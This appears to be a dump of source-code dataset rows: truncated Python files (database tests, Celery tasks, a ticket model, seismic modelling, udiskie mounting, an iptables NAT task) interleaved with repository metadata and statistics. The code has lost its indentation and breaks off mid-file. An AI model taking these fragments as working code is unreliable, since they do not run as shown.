#
# (c) Copyright IBM Corp. 2016
#
import unittest, sys
import ibm_db
import config
from testfunctions import IbmDbTestFunctions
class Wrapper(str):
def __del__(self):
print("Wrapper(" + self + ") being deleted")
class IbmDbTestCase(unittest.TestCase):
def test_31... | 25.903614 | 105 | 0.716279 | 267 | 2,150 | 5.58427 | 0.344569 | 0.169014 | 0.20389 | 0.091214 | 0.515091 | 0.515091 | 0.515091 | 0.515091 | 0.515091 | 0.515091 | 0 | 0.025496 | 0.17907 | 2,150 | 82 | 106 | 26.219512 | 0.819263 | 0.429302 | 0 | 0.068966 | 0 | 0 | 0.17285 | 0 | 0 | 0 | 0 | 0 | 0.034483 | 1 | 0.103448 | false | 0.034483 | 0.137931 | 0 | 0.310345 | 0.137931 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
afb70e64470f695604ab08c23db3df1fce35c61f | 4,176 | py | Python | core/tasks.py | mark-barrett/RESTBroker | d9b0a3574d2970443fdf40c70ab9ceb8d72614f4 | [
"MIT"
] | null | null | null | core/tasks.py | mark-barrett/RESTBroker | d9b0a3574d2970443fdf40c70ab9ceb8d72614f4 | [
"MIT"
] | null | null | null | core/tasks.py | mark-barrett/RESTBroker | d9b0a3574d2970443fdf40c70ab9ceb8d72614f4 | [
"MIT"
] | null | null | null | # Developed by Mark Barrett
# http://markbarrettdesign.com
# https://github.com/mark-barrett
from __future__ import absolute_import, unicode_literals
import os
import django
from celery import Celery
from django.core.mail import get_connection, send_mail
from django.template import loader
os.environ.setdefault('DJAN... | 28.60274 | 120 | 0.587644 | 462 | 4,176 | 5.160173 | 0.359307 | 0.027265 | 0.021812 | 0.030201 | 0.114933 | 0.114933 | 0.098154 | 0.074664 | 0.074664 | 0.074664 | 0 | 0.008945 | 0.330699 | 4,176 | 146 | 121 | 28.60274 | 0.844007 | 0.128352 | 0 | 0.12766 | 0 | 0 | 0.115586 | 0.039448 | 0 | 0 | 0 | 0 | 0 | 1 | 0.031915 | false | 0.053191 | 0.159574 | 0 | 0.234043 | 0.010638 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
afb72313350393f8a23c317a77df8ed5c429197d | 1,880 | py | Python | python_utility/spreadsheet/spreadsheet_service.py | FunTimeCoding/python-utility | e91df316684a07161aae33576329f9092d2e97e6 | [
"MIT"
] | null | null | null | python_utility/spreadsheet/spreadsheet_service.py | FunTimeCoding/python-utility | e91df316684a07161aae33576329f9092d2e97e6 | [
"MIT"
] | null | null | null | python_utility/spreadsheet/spreadsheet_service.py | FunTimeCoding/python-utility | e91df316684a07161aae33576329f9092d2e97e6 | [
"MIT"
] | null | null | null | import cherrypy
from gspread import CellNotFound
from python_utility.spreadsheet.simple_spreadsheet import SimpleSpreadsheet
class SpreadsheetService:
@staticmethod
def read_status() -> str:
try:
from python_utility.build import Build
except ImportError:
# TODO: Unders... | 29.84127 | 76 | 0.567553 | 182 | 1,880 | 5.78022 | 0.39011 | 0.03327 | 0.048479 | 0.057034 | 0.10076 | 0.10076 | 0.10076 | 0.10076 | 0.10076 | 0 | 0 | 0 | 0.339362 | 1,880 | 62 | 77 | 30.322581 | 0.847021 | 0.025532 | 0 | 0.142857 | 0 | 0 | 0.109896 | 0 | 0 | 0 | 0 | 0.016129 | 0 | 1 | 0.081633 | false | 0 | 0.122449 | 0 | 0.306122 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
afb9b755dae183e4752a4214a72d422d99f88be0 | 2,774 | py | Python | ui/game/frame_libraries.py | RCIX/RogueP | a3522dae65e90c16986c6254254682789e010f9f | [
"MIT"
] | 2 | 2015-09-07T10:35:12.000Z | 2015-09-12T05:55:29.000Z | ui/game/frame_libraries.py | RCIX/RogueP | a3522dae65e90c16986c6254254682789e010f9f | [
"MIT"
] | null | null | null | ui/game/frame_libraries.py | RCIX/RogueP | a3522dae65e90c16986c6254254682789e010f9f | [
"MIT"
] | null | null | null | # added specifically to make floating point division apply to code in bar position calculation
from __future__ import division
import libtcodpy as libtcod
import xp_loader
import gzip
from vec2d import Vec2d
from model.attribute import AttributeTag
from ui.frame import Frame
from ui.ui_event import UIEvent, UIEventT... | 40.202899 | 151 | 0.783706 | 444 | 2,774 | 4.581081 | 0.295045 | 0.054081 | 0.061947 | 0.053097 | 0.252704 | 0.224189 | 0.202557 | 0.158309 | 0.117994 | 0.117994 | 0 | 0.019951 | 0.114636 | 2,774 | 69 | 152 | 40.202899 | 0.808225 | 0.104903 | 0 | 0.046512 | 0 | 0 | 0.041583 | 0.014534 | 0 | 0 | 0 | 0.014493 | 0 | 1 | 0.069767 | false | 0.023256 | 0.186047 | 0 | 0.27907 | 0.093023 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
afbb04f2d4284cedd9e1ff7745fd2a724ccbc326 | 8,490 | py | Python | ticket/models/ticket.py | ifbhack/ticketsystem | f2732fe5665dd5e05ecc957446cd883c9c8d63e2 | [
"MIT"
] | null | null | null | ticket/models/ticket.py | ifbhack/ticketsystem | f2732fe5665dd5e05ecc957446cd883c9c8d63e2 | [
"MIT"
] | null | null | null | ticket/models/ticket.py | ifbhack/ticketsystem | f2732fe5665dd5e05ecc957446cd883c9c8d63e2 | [
"MIT"
] | null | null | null | import sqlite3
from typing import List, Iterable, Any
from ticket.models.user import User
# TODO: when we have a couple more errors, put in seperate file
class UserAssignViolationError(Exception):
pass
class TicketNotFoundError(Exception):
pass
class Ticket:
ticket_id: int= 0
user_id: int = 0
tit... | 35.375 | 101 | 0.595289 | 1,083 | 8,490 | 4.486611 | 0.151431 | 0.054332 | 0.024696 | 0.025931 | 0.491665 | 0.433011 | 0.416958 | 0.338753 | 0.310352 | 0.310352 | 0 | 0.007181 | 0.311072 | 8,490 | 239 | 102 | 35.523013 | 0.82356 | 0.25265 | 0 | 0.330882 | 0 | 0 | 0.234134 | 0 | 0 | 0 | 0 | 0.012552 | 0 | 1 | 0.102941 | false | 0.014706 | 0.022059 | 0.007353 | 0.286765 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
afca1db73f5dd21162208565c2d96e8c65eb7797 | 302 | py | Python | safeness/glad/logger.py | pasmod/obfuscation-pan2016 | 410a3bb1e6827e256b0de1927e185f7e213417bf | [
"MIT"
] | 2 | 2016-10-04T15:35:27.000Z | 2017-12-29T00:42:30.000Z | safeness/glad/logger.py | pasmod/obfuscation-pan2016 | 410a3bb1e6827e256b0de1927e185f7e213417bf | [
"MIT"
] | null | null | null | safeness/glad/logger.py | pasmod/obfuscation-pan2016 | 410a3bb1e6827e256b0de1927e185f7e213417bf | [
"MIT"
] | null | null | null | import logging
def setup_logging(level):
"""
:param level: logging.INFO or logging.DEBUG, etc.
"""
logging.basicConfig(level=level, format="%(asctime)s - %(name)s - %(levelname)s - %(message)s")
return logging.getLogger(__name__)
# get logger
log = setup_logging(logging.DEBUG)
| 21.571429 | 99 | 0.675497 | 38 | 302 | 5.210526 | 0.578947 | 0.121212 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.172185 | 302 | 13 | 100 | 23.230769 | 0.792 | 0.201987 | 0 | 0 | 0 | 0 | 0.231111 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
afd2d13f2d1a9355e7d128182b7544c5883c7157 | 738 | py | Python | python/p043.py | lbreede/project-euler | c225e3742f749fc681034aac98cc9c23f8cdb37e | [
"MIT"
] | null | null | null | python/p043.py | lbreede/project-euler | c225e3742f749fc681034aac98cc9c23f8cdb37e | [
"MIT"
] | null | null | null | python/p043.py | lbreede/project-euler | c225e3742f749fc681034aac98cc9c23f8cdb37e | [
"MIT"
] | null | null | null | # Sub-string divisibility
from itertools import permutations
def sub_string(num, start, rng):
start -= 1
end = start + rng
# strnum = str(num)
return int(num[start:end])
def check_properties(num):
p1 = sub_string(num, 2, 3) % 2 == 0
p2 = sub_string(num, 3, 3) % 3 == 0
p3 = sub_string(num, 4, 3) % 5 == 0
p... | 23.0625 | 69 | 0.639566 | 123 | 738 | 3.756098 | 0.398374 | 0.175325 | 0.207792 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.096939 | 0.203252 | 738 | 32 | 70 | 23.0625 | 0.688776 | 0.055556 | 0 | 0 | 0 | 0 | 0.014388 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.045455 | 0 | 0.227273 | 0.045455 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bb622b8ab8684bdbfde028be9a16fbda5516343e | 20,738 | py | Python | vrmslearn/ModelGenerator.py | GeoCode-polymtl/Deep_1D_velocity | 8f42fc4f5c984d0e11b4c93ae7eee99ba3843b4c | [
"MIT"
] | 7 | 2020-08-17T19:47:21.000Z | 2022-03-29T08:02:51.000Z | vrmslearn/ModelGenerator.py | GeoCode-polymtl/Deep_1D_velocity | 8f42fc4f5c984d0e11b4c93ae7eee99ba3843b4c | [
"MIT"
] | 6 | 2020-01-28T22:17:17.000Z | 2022-02-09T23:31:59.000Z | vrmslearn/ModelGenerator.py | GeoCode-polymtl/Deep_1D_velocity | 8f42fc4f5c984d0e11b4c93ae7eee99ba3843b4c | [
"MIT"
] | 4 | 2019-11-27T06:05:31.000Z | 2021-10-08T00:38:38.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Class to generate seismic models and labels for training.
"""
import numpy as np
import copy
from scipy.signal import gaussian
from scipy.interpolate import interp1d
import argparse
from vrmslearn.ModelParameters import ModelParameters
class ModelGenerator(objec... | 35.32879 | 90 | 0.574019 | 2,895 | 20,738 | 4.013817 | 0.138515 | 0.019966 | 0.023752 | 0.009639 | 0.356799 | 0.303873 | 0.252065 | 0.223666 | 0.219277 | 0.202754 | 0 | 0.017984 | 0.318931 | 20,738 | 586 | 91 | 35.389079 | 0.80473 | 0.325152 | 0 | 0.254658 | 1 | 0 | 0.004758 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.034161 | false | 0 | 0.021739 | 0 | 0.090062 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bb6ae706c3937af1f37d14d8ff28c0f63fe2eafa | 1,140 | py | Python | basic-working/tests/templates/eos/test_bgppeer.py | 0xmc/hackathon81_configmodel | 89368e830981ac7bbafde47014b8106f17ab4b0f | [
"Apache-2.0"
] | 2 | 2021-02-04T21:06:56.000Z | 2021-02-06T18:36:46.000Z | basic-working/tests/templates/eos/test_bgppeer.py | 0xmc/hackathon81_configmodel | 89368e830981ac7bbafde47014b8106f17ab4b0f | [
"Apache-2.0"
] | null | null | null | basic-working/tests/templates/eos/test_bgppeer.py | 0xmc/hackathon81_configmodel | 89368e830981ac7bbafde47014b8106f17ab4b0f | [
"Apache-2.0"
] | 3 | 2021-01-31T00:37:35.000Z | 2021-02-06T22:33:39.000Z | """BGP peer EOS template tests."""
import unittest
from configmodel.templates.render import render
class TestBGPPeer(unittest.TestCase):
"""BGP peer unit tests."""
def test_pass_a(self):
"""Local AS only."""
config = {"local_asn": 666}
actual = render("eos", "bgppeer", config)
... | 27.142857 | 80 | 0.555263 | 144 | 1,140 | 4.298611 | 0.340278 | 0.048465 | 0.06462 | 0.038772 | 0.681745 | 0.592892 | 0.592892 | 0.441034 | 0.441034 | 0.36349 | 0 | 0.106748 | 0.285088 | 1,140 | 41 | 81 | 27.804878 | 0.652761 | 0.087719 | 0 | 0.482759 | 0 | 0 | 0.308679 | 0.04142 | 0 | 0 | 0 | 0 | 0.103448 | 1 | 0.103448 | false | 0.103448 | 0.068966 | 0 | 0.206897 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
bb6d53b59a393008d2176d1d9d9d50e3035f5670 | 285 | py | Python | Tool_rename_walk/rename.py | yo1995/Daily_Python_Tasks | 211255deead5023cdcea1db4f49a53eedfe762b6 | [
"MIT"
] | 14 | 2018-05-21T05:12:25.000Z | 2021-11-28T14:49:55.000Z | Tool_rename_walk/rename.py | yo1995/Daily_Python_Tasks | 211255deead5023cdcea1db4f49a53eedfe762b6 | [
"MIT"
] | 2 | 2018-11-28T20:59:37.000Z | 2021-07-27T22:39:33.000Z | Tool_rename_walk/rename.py | yo1995/Daily_Python_Tasks | 211255deead5023cdcea1db4f49a53eedfe762b6 | [
"MIT"
] | 6 | 2019-03-21T01:07:57.000Z | 2021-03-29T03:24:33.000Z | import os
path = ''
if not path:
eixt(1)
for root, dirs, files in os.walk(path):
for f in files:
if f == 'readme.md':
src = os.path.join(root, f)
# print(src)
dst = os.path.join(root, 'README.md')
os.rename(src, dst)
| 19 | 49 | 0.494737 | 43 | 285 | 3.27907 | 0.488372 | 0.12766 | 0.141844 | 0.198582 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005495 | 0.361404 | 285 | 14 | 50 | 20.357143 | 0.769231 | 0.035088 | 0 | 0 | 0 | 0 | 0.065934 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.1 | 0 | 0.1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bb742b121f88b8940766d010d218232cdfe09b69 | 475 | py | Python | accounts/migrations/0025_socialmedia_order.py | Revibe-Music/core-services | 6b11cf16ad2c35d948f3a5c0e7a161e5b7cfc1b2 | [
"MIT"
] | 2 | 2022-01-24T23:30:18.000Z | 2022-01-26T00:21:22.000Z | accounts/migrations/0025_socialmedia_order.py | Revibe-Music/core-services | 6b11cf16ad2c35d948f3a5c0e7a161e5b7cfc1b2 | [
"MIT"
] | null | null | null | accounts/migrations/0025_socialmedia_order.py | Revibe-Music/core-services | 6b11cf16ad2c35d948f3a5c0e7a161e5b7cfc1b2 | [
"MIT"
] | null | null | null | # Generated by Django 3.0 on 2020-04-02 13:22
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('accounts', '0024_auto_20200330_1441'),
]
operations = [
migrations.AddField(
model_name='socialmedia',
name='order',
... | 25 | 138 | 0.629474 | 56 | 475 | 5.232143 | 0.803571 | 0.061433 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.084986 | 0.256842 | 475 | 18 | 139 | 26.388889 | 0.745042 | 0.090526 | 0 | 0 | 1 | 0 | 0.216279 | 0.053488 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bb78ef4e70b41375cac6c0abf150fde94d9108b2 | 2,074 | py | Python | application/database/domain/user.py | shivankurkapoor/moleculardating | 4a72c3e92a09ab321e0d92840cc7619857bbab8a | [
"BSD-3-Clause"
] | 1 | 2018-04-24T04:38:33.000Z | 2018-04-24T04:38:33.000Z | application/database/domain/user.py | shivankurkapoor/molecular-dating | 4a72c3e92a09ab321e0d92840cc7619857bbab8a | [
"BSD-3-Clause"
] | null | null | null | application/database/domain/user.py | shivankurkapoor/molecular-dating | 4a72c3e92a09ab321e0d92840cc7619857bbab8a | [
"BSD-3-Clause"
] | null | null | null | from peewee import *
from database import *
class User(Model):
user_id = CharField(primary_key=True)
family_name = TextField(default='')
given_name = TextField(default='')
email = TextField(default='')
gender = CharField(default='')
link = TextField(default='')
locale = TextField(default=... | 32.920635 | 81 | 0.616201 | 251 | 2,074 | 4.868526 | 0.151394 | 0.209493 | 0.081833 | 0.106383 | 0.189853 | 0.189853 | 0.103928 | 0 | 0 | 0 | 0 | 0 | 0.253616 | 2,074 | 62 | 82 | 33.451613 | 0.789406 | 0 | 0 | 0.045455 | 0 | 0 | 0.153809 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.045455 | false | 0 | 0.045455 | 0 | 0.409091 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bb7ae54f93ac463d60bdcacb8b18eb7161938c33 | 3,892 | py | Python | blocks_fuel_classes.py | heikeadel/attention_methods | 2208eec0ec60173585850b69dbfe3aa7a7c270bd | [
"MIT"
] | 1 | 2021-02-01T03:13:11.000Z | 2021-02-01T03:13:11.000Z | blocks_fuel_classes.py | heikeadel/attention_methods | 2208eec0ec60173585850b69dbfe3aa7a7c270bd | [
"MIT"
] | null | null | null | blocks_fuel_classes.py | heikeadel/attention_methods | 2208eec0ec60173585850b69dbfe3aa7a7c270bd | [
"MIT"
] | null | null | null | #!/usr/bin/python
#####
# Description: Blocks Extensions and Fuel classes
# Author: Heike Adel
# Date: 2016
#####
from blocks.extensions import SimpleExtension
import time
import theano
import numpy
from fuel.schemes import BatchScheme
from picklable_itertools import imap
from picklable_itertools.extras import parti... | 33.264957 | 104 | 0.635149 | 515 | 3,892 | 4.605825 | 0.242718 | 0.060708 | 0.049325 | 0.03204 | 0.505902 | 0.486509 | 0.475548 | 0.475548 | 0.475548 | 0.457841 | 0 | 0.020765 | 0.220452 | 3,892 | 116 | 105 | 33.551724 | 0.761042 | 0.048818 | 0 | 0.425532 | 0 | 0 | 0.022459 | 0.005896 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.074468 | null | null | 0.053191 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bb868374d85808f3925d8d87cb20b424d260cc59 | 1,133 | py | Python | src/eval.py | kredde/pytorch-lightning-hydra-mlflow | 13c56a08aa7718b8117ccbc258cba5378e4650ec | [
"MIT"
] | 13 | 2021-08-29T05:15:40.000Z | 2022-03-19T02:40:36.000Z | src/eval.py | kredde/pytorch-lightning-hydra-mlflow | 13c56a08aa7718b8117ccbc258cba5378e4650ec | [
"MIT"
] | null | null | null | src/eval.py | kredde/pytorch-lightning-hydra-mlflow | 13c56a08aa7718b8117ccbc258cba5378e4650ec | [
"MIT"
] | 1 | 2021-11-23T20:22:00.000Z | 2021-11-23T20:22:00.000Z | import logging
from typing import Optional
from pytorch_lightning import LightningModule, LightningDataModule, Trainer
from pytorch_lightning import seed_everything
from omegaconf import DictConfig
from src.utils import config_utils
log = logging.getLogger(__name__)
def eval(config: DictConfig, model: LightningM... | 26.97619 | 123 | 0.720212 | 121 | 1,133 | 6.652893 | 0.479339 | 0.052174 | 0.049689 | 0.064596 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.215357 | 1,133 | 41 | 124 | 27.634146 | 0.905512 | 0.336275 | 0 | 0 | 0 | 0 | 0.039106 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052632 | false | 0 | 0.315789 | 0 | 0.368421 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
bb8e1dcb77ddeb651696cb9409995f302bf0ba3f | 24,733 | py | Python | udiskie/mount.py | LocutusOfBorg/udiskie | 8aa85bb99d44fedc19ec584389072c264877e767 | [
"MIT"
] | null | null | null | udiskie/mount.py | LocutusOfBorg/udiskie | 8aa85bb99d44fedc19ec584389072c264877e767 | [
"MIT"
] | null | null | null | udiskie/mount.py | LocutusOfBorg/udiskie | 8aa85bb99d44fedc19ec584389072c264877e767 | [
"MIT"
] | null | null | null | """
Mount utilities.
"""
from __future__ import absolute_import
from __future__ import unicode_literals
from collections import namedtuple
from functools import partial
import logging
from .async_ import AsyncList, Coroutine, Return
from .common import wraps, setdefault, exc_message
from .compat import basestring
fr... | 36.106569 | 84 | 0.598472 | 2,851 | 24,733 | 5.033322 | 0.118555 | 0.032892 | 0.030801 | 0.019233 | 0.541812 | 0.497003 | 0.45554 | 0.412404 | 0.381045 | 0.35561 | 0 | 0.003295 | 0.312781 | 24,733 | 684 | 85 | 36.159357 | 0.840972 | 0.228399 | 0 | 0.470998 | 0 | 0 | 0.079126 | 0 | 0 | 0 | 0 | 0.010234 | 0 | 1 | 0.078886 | false | 0.044084 | 0.023202 | 0 | 0.176334 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bb9036fe312ab342c1385e92d9bc32ecac511198 | 7,398 | py | Python | tests/hydropper/utils/session.py | ican2002/stratorvirt | b8e9b675ae0fac9e359a2096cc818f92c4f11c30 | [
"MulanPSL-1.0"
] | 66 | 2020-10-27T02:48:24.000Z | 2022-03-05T14:24:08.000Z | tests/hydropper/utils/session.py | ican2002/stratorvirt | b8e9b675ae0fac9e359a2096cc818f92c4f11c30 | [
"MulanPSL-1.0"
] | null | null | null | tests/hydropper/utils/session.py | ican2002/stratorvirt | b8e9b675ae0fac9e359a2096cc818f92c4f11c30 | [
"MulanPSL-1.0"
] | 9 | 2020-12-27T08:06:04.000Z | 2022-02-22T11:28:34.000Z | # Copyright (c) 2021 Huawei Technologies Co.,Ltd. All rights reserved.
#
# StratoVirt is licensed under Mulan PSL v2.
# You can use this software according to the terms and conditions of the Mulan
# PSL v2.
# You may obtain a copy of Mulan PSL v2 at:
# http:#license.coscl.org.cn/MulanPSL2
# THIS SOFTWARE IS PRO... | 36.80597 | 105 | 0.584212 | 791 | 7,398 | 5.288243 | 0.2933 | 0.026297 | 0.040641 | 0.028688 | 0.144394 | 0.041119 | 0.041119 | 0.041119 | 0.027253 | 0 | 0 | 0.006332 | 0.3382 | 7,398 | 200 | 106 | 36.99 | 0.848039 | 0.209922 | 0 | 0.124031 | 0 | 0 | 0.07416 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.116279 | false | 0.131783 | 0.069767 | 0.007752 | 0.263566 | 0.007752 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
bb928d74c6fbac1b81cdf25fa38e1e81ee78a19b | 378 | py | Python | src/tasks/iptable.py | comafire/st-kilda-pier | 7bc9e52124c7223043695b1686db94359b83c085 | [
"Apache-2.0"
] | 8 | 2018-07-18T04:30:08.000Z | 2019-05-25T14:16:52.000Z | src/tasks/iptable.py | comafire/st-kilda-pier | 7bc9e52124c7223043695b1686db94359b83c085 | [
"Apache-2.0"
] | null | null | null | src/tasks/iptable.py | comafire/st-kilda-pier | 7bc9e52124c7223043695b1686db94359b83c085 | [
"Apache-2.0"
] | 2 | 2018-08-03T08:17:20.000Z | 2019-05-25T14:16:54.000Z | from __future__ import with_statement
from invoke import task
import env, utils
@task(help={'eth': "public ethernet device name."})
def masquerade(c, eth):
cmd = "sudo /sbin/iptables -t nat -A POSTROUTING -o {} -j MASQUERADE".format(eth)
utils.run_with_exit(c, cmd)
cmd = "sudo /sbin/iptables -A FORWARD -i ... | 34.363636 | 85 | 0.698413 | 59 | 378 | 4.322034 | 0.576271 | 0.054902 | 0.086275 | 0.14902 | 0.227451 | 0.227451 | 0.227451 | 0.227451 | 0 | 0 | 0 | 0 | 0.164021 | 378 | 10 | 86 | 37.8 | 0.806962 | 0 | 0 | 0.222222 | 0 | 0 | 0.365079 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.333333 | 0 | 0.444444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
bb9311992acbc6d56c608130a350748dec9c8d2c | 1,116 | py | Python | idfield/fields.py | lis-space/django-idfield | 2e7b06037d22c6c862a2970efdc14b470ca92f3b | [
"MIT"
] | null | null | null | idfield/fields.py | lis-space/django-idfield | 2e7b06037d22c6c862a2970efdc14b470ca92f3b | [
"MIT"
] | null | null | null | idfield/fields.py | lis-space/django-idfield | 2e7b06037d22c6c862a2970efdc14b470ca92f3b | [
"MIT"
] | null | null | null | from django.db import models
import random
class IDField(models.Field):
def __init__(self, alphabet=None, readable=False, *args, **kwargs):
self.max_length = kwargs.get('max_length', 10)
self.readable = readable
self.alphabet = alphabet
if not self.alphabet:
if self.re... | 32.823529 | 85 | 0.630824 | 124 | 1,116 | 5.532258 | 0.395161 | 0.104956 | 0.093294 | 0.06414 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025424 | 0.259857 | 1,116 | 33 | 86 | 33.818182 | 0.805085 | 0 | 0 | 0 | 0 | 0 | 0.076165 | 0.060036 | 0 | 0 | 0 | 0 | 0 | 1 | 0.192308 | false | 0 | 0.076923 | 0.115385 | 0.461538 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 |
bba1f2183a294e77712c38a933020d983a71dada | 2,432 | py | Python | apps/live_twitter_sentiment.py | VaishnaviVV/Covid19_sentiment_analysis | 6b6d0f76566bee1522eb69e407dc59d450e033b7 | [
"MIT"
] | 2 | 2021-04-13T06:12:59.000Z | 2021-07-21T14:04:45.000Z | apps/live_twitter_sentiment.py | VaishnaviVV/Covid19_sentiment_analysis | 6b6d0f76566bee1522eb69e407dc59d450e033b7 | [
"MIT"
] | null | null | null | apps/live_twitter_sentiment.py | VaishnaviVV/Covid19_sentiment_analysis | 6b6d0f76566bee1522eb69e407dc59d450e033b7 | [
"MIT"
] | 1 | 2021-06-19T09:06:38.000Z | 2021-06-19T09:06:38.000Z | #Essential Modules
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
#Dashboard Modules
import dash
